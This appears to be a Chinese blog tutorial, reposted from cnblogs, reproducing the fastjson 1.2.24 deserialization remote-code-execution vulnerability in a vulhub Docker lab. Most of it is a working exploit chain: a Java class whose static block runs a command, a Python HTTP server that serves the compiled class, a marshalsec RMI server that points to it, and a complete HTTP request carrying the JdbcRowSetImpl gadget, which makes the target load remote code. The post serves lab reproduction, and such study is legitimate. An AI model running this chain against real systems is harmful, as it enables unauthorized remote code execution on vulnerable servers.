首页 > Web开发 > 详细

关于fastjson 1.2.24 反序列化导致任意命令执行漏洞

时间:2019-12-04 10:37:10      阅读:540      评论:0      收藏:0      [点我收藏+]

环境搭建:

sudo apt install docker.io

git clone https://github.com/vulhub/vulhub.git

cd vulhub fastjson 1.2.24-rce 目录

启动容器

sudo docker-compose up

技术分享图片

 

HTTP访问8090端口

技术分享图片

 

 

 

靶机环境准备OK

准备payload

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

进行编译成class文件

javac TouchFile.java

在对应目录:

python -m SimpleHTTPServer 4444

技术分享图片

 

 

 

使用https://github.com/mbechler/marshalsec.git搭建一个RMI服务器,进行远程加载payload

mvn clean package -DskipTests

技术分享图片

 

cd target

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.10.202.130:4444/#/TouchFile" 9999

 

然后访问HTTP服务器,进行payload构造

POST / HTTP/1.1
Host: 10.10.202.130:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.10.202.130:9999/TouchFile",
"autoCommit":true
}
}

技术分享图片

 

测试即可。

关于fastjson 1.2.24 反序列化导致任意命令执行漏洞

原文:https://www.cnblogs.com/hack404/p/11980791.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!